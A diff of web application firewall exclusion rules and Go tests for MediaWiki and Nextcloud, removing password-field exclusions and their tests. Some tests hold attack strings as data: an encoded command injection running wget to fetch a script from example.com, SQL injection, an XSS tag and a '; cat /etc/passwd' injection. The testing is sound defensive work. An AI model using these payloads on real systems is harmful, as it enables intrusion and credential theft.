ctl:ruleRemoveTargetById=942320;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:retype"
|
||||
|
||||
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
||||
# or prependtext, and the REST API in the JSON field source. Each of these
|
||||
# rules refused saving or previewing a page whose wikitext held a template, a
|
||||
|
||||
@@ -3,7 +3,6 @@ package coreruleset_test
|
||||
import (
|
||||
"net/http"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -25,12 +24,6 @@ const mediawikiUpload = "/wiki/Special:Upload"
|
||||
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
|
||||
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
|
||||
|
||||
// mediawikiAccountChange is the page that changes a password.
|
||||
const mediawikiAccountChange = "/wiki/Special:ChangeCredentials"
|
||||
|
||||
// mediawikiSignUp is the page that creates an account.
|
||||
const mediawikiSignUp = "/wiki/Special:CreateAccount"
|
||||
|
||||
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
|
||||
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
|
||||
|
||||
@@ -49,10 +42,16 @@ const (
|
||||
mediawikiUploadPage = "/index.php/Special:Upload"
|
||||
)
|
||||
|
||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||
}
|
||||
|
||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
||||
// each in the query, on a path where it skips them, ending in "=".
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||
// path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiQueryFields = []string{
|
||||
@@ -137,9 +136,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
type mediawikiBodyField struct{ target, field string }
|
||||
|
||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
|
||||
// each in a form data body, on a path where it skips them.
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||
// a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiBodyFields = []mediawikiBodyField{
|
||||
@@ -147,11 +146,13 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
||||
{mediawikiUpload, "wpUploadDescription="},
|
||||
{mediawikiUpload, "wpDestFile="},
|
||||
{mediawikiSignIn, "wpName="},
|
||||
{mediawikiSignIn, "wpPassword="},
|
||||
{mediawikiMove, "wpOldTitle="},
|
||||
{mediawikiMove, "wpNewTitleMain="},
|
||||
{mediawikiMove, "wpReason="},
|
||||
{mediawikiBlock, "wpTarget="},
|
||||
{mediawikiSignInPage, "wpName="},
|
||||
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||
{mediawikiUploadPage, "wpDestFile="},
|
||||
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
||||
{mediawikiAPI, "title="},
|
||||
@@ -164,18 +165,8 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
||||
{mediawikiAPI, "reason="},
|
||||
{mediawikiAPI, "user="},
|
||||
{mediawikiAPI, "lgname="},
|
||||
{mediawikiAPI, "username="},
|
||||
}
|
||||
|
||||
// mediawikiPasswordFields are the passwords, which skip the four rules and the
|
||||
// rules that random passwords set off. mediawikiPasswordFields sends each in a
|
||||
// form data body, on a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiPasswordFields = []mediawikiBodyField{
|
||||
{mediawikiSignIn, "wpPassword="},
|
||||
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||
{mediawikiAPI, "lgpassword="},
|
||||
{mediawikiAPI, "username="},
|
||||
{mediawikiAPI, passwordField},
|
||||
}
|
||||
|
||||
@@ -242,105 +233,6 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The form that changes a password posts to this subpage.
|
||||
const subpage = "/MediaWiki%5CAuth%5CPasswordAuthenticationRequest"
|
||||
|
||||
// The forms send authAction in the body, and MediaWiki reads it from the
|
||||
// query too. These requests send it in the query, so that the body holds
|
||||
// only the passwords. The recorded requests send it in the body.
|
||||
const (
|
||||
create = "authAction=create"
|
||||
loginContinue = "authAction=login-continue"
|
||||
changeAction = "authAction=change"
|
||||
)
|
||||
|
||||
change := []string{passwordKey, retypeKey}
|
||||
retype := []string{retypeKey}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{mediawikiSignUp + "?" + create, formData, retype},
|
||||
{"/index.php/Special:CreateAccount?" + create, formData, retype},
|
||||
{
|
||||
"/index.php?title=Special:CreateAccount&returnto=Main_Page&" + create,
|
||||
formData, retype,
|
||||
},
|
||||
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
|
||||
{mediawikiSignIn + "&" + loginContinue, formData, retype},
|
||||
{mediawikiAccountChange + "?" + changeAction, formData, change},
|
||||
{mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
|
||||
{"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
|
||||
{
|
||||
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
|
||||
formData, change,
|
||||
},
|
||||
{"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
|
||||
// A German wiki's names for the same pages.
|
||||
{"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
|
||||
{
|
||||
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
|
||||
formData, retype,
|
||||
},
|
||||
{
|
||||
"/wiki/Spezial:Anmeldeinformationen_%C3%A4ndern" + subpage + "?" + changeAction,
|
||||
formData, change,
|
||||
},
|
||||
{mediawikiAPI, formData, retype},
|
||||
})
|
||||
}
|
||||
|
||||
// Other apps use the names password and retype too. So these fields keep every
|
||||
// rule unless the page is MediaWiki's, its title has a namespace, and
|
||||
// authAction names a form that sends the field.
|
||||
func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const appPath = "/index.php/apps/mail/api/accounts"
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, sent := range []struct{ target, name string }{
|
||||
{appPath, passwordKey},
|
||||
{appPath + "?authAction=create", retypeKey},
|
||||
{appPath + "?title=Special:ChangeCredentials&authAction=change", passwordKey},
|
||||
{appPath + "?title=Special:CreateAccount&authAction=create", retypeKey},
|
||||
{"/index.php?title=Main_Page&authAction=change", passwordKey},
|
||||
{"/index.php/Main_Page?authAction=create", retypeKey},
|
||||
{"/wiki/Main_Page?authAction=change", passwordKey},
|
||||
{mediawikiAccountChange, passwordKey},
|
||||
{mediawikiAccountChange + "?authAction=login", passwordKey},
|
||||
{mediawikiSignUp + "?authAction=create", passwordKey},
|
||||
{"/index.php?title=Special:CreateAccount&authAction=create", passwordKey},
|
||||
{"/index.php/Spezial:Anmelden?authAction=login", retypeKey},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
body := formBody(sent.name, "' OR '1'='1")
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, sent := range mediawikiPasswordFields {
|
||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
name := strings.TrimSuffix(sent.field, "=")
|
||||
|
||||
wantRandomPasswordsPass(t, r, name)
|
||||
wantPasswordAttacksPass(t, r, name)
|
||||
wantPasswordAttacksRefused(t, r, name)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
||||
// fields that skip the other command rules, as a query value.
|
||||
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
@@ -361,8 +253,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
|
||||
mediawikiPasswordFields) {
|
||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||
@@ -420,8 +311,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||
mediawikiPasswordFields)
|
||||
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
||||
mediawikiWikitextFields...)
|
||||
|
||||
for _, sent := range fields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
@@ -61,141 +61,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
||||
|
||||
# The password, in the body, skips each rule that random passwords set off.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||
"id:900125,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:password "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:password"
|
||||
|
||||
# The other passwords, in form data or JSON, skip the same rules:
|
||||
# password: confirming the password, resetting it, checking a sign-in with
|
||||
# person/check, a public share's password, setting a share's password or
|
||||
# sending it by email, creating or editing a user, and an administrator
|
||||
# changing a user's password
|
||||
# oldpassword, newpassword: changing the password on the settings page
|
||||
# oldPassword, newPassword: changing an expired LDAP password, and changing
|
||||
# the password of the encryption app's private key or recovery key
|
||||
# recoveryPassword: an administrator changing the password of an encrypted
|
||||
# account, or setting the encryption app's recovery key
|
||||
# confirmPassword: the encryption app's recovery key, typed again
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/set/[^/]+/[^/]+|settings/(?:personal|users)/changepassword|s/[^/]+/authenticate/[^/]+|apps/user_ldap/renewpassword|apps/encryption/ajax/(?:updatePrivateKeyPassword|changeRecoveryPassword|adminRecovery))$|^/ocs/v[12]\.php/(?:person/check|core/apppassword/confirm|cloud/users(?:/[^/]+)?|apps/files_sharing/api/v1/shares(?:/[^/]+(?:/send-email)?)?)$" \
|
||||
"id:900126,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/"
|
||||
|
||||
# Editing a user through the OCS API can name the password as the field to
|
||||
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
|
||||
# because a phase 1 rule runs before the body is read. It checks that the body
|
||||
# sends key once, so a second key cannot skip these rules for another field.
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
|
||||
"id:900127,phase:2,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
|
||||
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
|
||||
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?value$/"
|
||||
|
||||
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
||||
"id:900103,phase:1,pass,nolog,\
|
||||
|
||||
@@ -16,9 +16,6 @@ import (
|
||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const nextcloudThreshold = 5
|
||||
|
||||
// nextcloudSignIn is the sign-in page.
|
||||
const nextcloudSignIn = "/login"
|
||||
|
||||
// nextcloudShare is a public share's page.
|
||||
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
||||
|
||||
@@ -51,6 +48,12 @@ const (
|
||||
// nextcloudOther is a JSON field no exclusion names.
|
||||
const nextcloudOther = `{"other":"python3"}`
|
||||
|
||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||
}
|
||||
|
||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||
// and 932260, each on a path where it skips them, ending in "=".
|
||||
//
|
||||
@@ -80,7 +83,8 @@ var nextcloudQueryFields = []string{
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudFormFields = []struct{ target, field string }{
|
||||
{nextcloudSignIn, "user="},
|
||||
{"/login", "user="},
|
||||
{"/login", passwordField},
|
||||
{nextcloudUsers, "userid="},
|
||||
{nextcloudUsers, "displayName="},
|
||||
{nextcloudUsers, "groups%5B%5D="},
|
||||
@@ -297,17 +301,6 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
|
||||
return scores
|
||||
}
|
||||
|
||||
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
|
||||
// bodies, gives signing in with value, a query value, as the password.
|
||||
func nextcloudPasswordScore(t *testing.T, value string) int {
|
||||
t.Helper()
|
||||
|
||||
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
||||
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
|
||||
|
||||
return got.Score
|
||||
}
|
||||
|
||||
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -317,125 +310,6 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("%s refused: %d", request, score)
|
||||
}
|
||||
}
|
||||
|
||||
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
|
||||
t.Errorf("password %s refused: %d", value, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudPasswordPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
||||
|
||||
wantRandomPasswordsPass(t, r, "password")
|
||||
wantPasswordAttacksPass(t, r, "password")
|
||||
wantPasswordAttacksRefused(t, r, "password")
|
||||
}
|
||||
|
||||
func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
password := []string{passwordKey}
|
||||
change := []string{"oldPassword", "newPassword"}
|
||||
recovery := []string{"oldPassword", "newPassword", "confirmPassword"}
|
||||
adminRecovery := []string{"recoveryPassword", "confirmPassword"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{"/ocs/v1.php/person/check", formData, password},
|
||||
{"/ocs/v2.php/person/check", jsonBody, password},
|
||||
{"/ocs/v2.php/core/apppassword/confirm", jsonBody, password},
|
||||
{nextcloudShares + "/42/send-email", jsonBody, password},
|
||||
{"/apps/user_ldap/renewpassword", formData, change},
|
||||
{"/index.php/apps/user_ldap/renewpassword", formData, change},
|
||||
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||
{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||
{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||
{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||
{"/login/confirm", jsonBody, password},
|
||||
{"/index.php/login/confirm", formData, password},
|
||||
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
|
||||
{
|
||||
"/settings/personal/changepassword", jsonBody,
|
||||
[]string{"oldpassword", "newpassword"},
|
||||
},
|
||||
{
|
||||
"/index.php/settings/users/changepassword", formData,
|
||||
[]string{passwordKey, "recoveryPassword"},
|
||||
},
|
||||
{nextcloudShare + "/authenticate/showShare", formData, password},
|
||||
{nextcloudUsers, jsonBody, password},
|
||||
{"/ocs/v1.php/cloud/users/alice", formData, password},
|
||||
{nextcloudUsers + "/alice", jsonBody, password},
|
||||
{nextcloudShares, jsonBody, password},
|
||||
{nextcloudShares + "/42", formData, password},
|
||||
})
|
||||
}
|
||||
|
||||
// TestNextcloudUserPasswordInValuePasses sends a password as Nextcloud's
|
||||
// provisioning API takes it, as the value of the field the key names.
|
||||
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
target := nextcloudUsers + "/alice"
|
||||
|
||||
form := request{http.MethodPut, target, []string{formData}}
|
||||
jsonRequest := request{http.MethodPut, target, []string{jsonBody}}
|
||||
|
||||
formPassword := func(passwords ...string) string {
|
||||
return "key=password&" + formBody("value", passwords...)
|
||||
}
|
||||
jsonPassword := func(passwords ...string) string {
|
||||
body := passwordBody(t, jsonRequest, []string{"value"}, passwords...)
|
||||
|
||||
return `{"key":"password",` + body[1:]
|
||||
}
|
||||
|
||||
misfiring := misfiringPasswords(t)
|
||||
|
||||
for _, sent := range []struct {
|
||||
r request
|
||||
body string
|
||||
}{
|
||||
{form, formPassword(misfiring...)},
|
||||
{jsonRequest, jsonPassword(misfiring...)},
|
||||
{form, formPassword("' OR '1'='1", "<img src=x onerror=x()>")},
|
||||
{jsonRequest, jsonPassword("; cat /etc/passwd")},
|
||||
} {
|
||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
|
||||
t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// Any other key keeps every rule, and so does a second key.
|
||||
for _, sent := range []struct {
|
||||
r request
|
||||
body string
|
||||
}{
|
||||
{form, "key=displayname&value=" + url.QueryEscape("' OR '1'='1")},
|
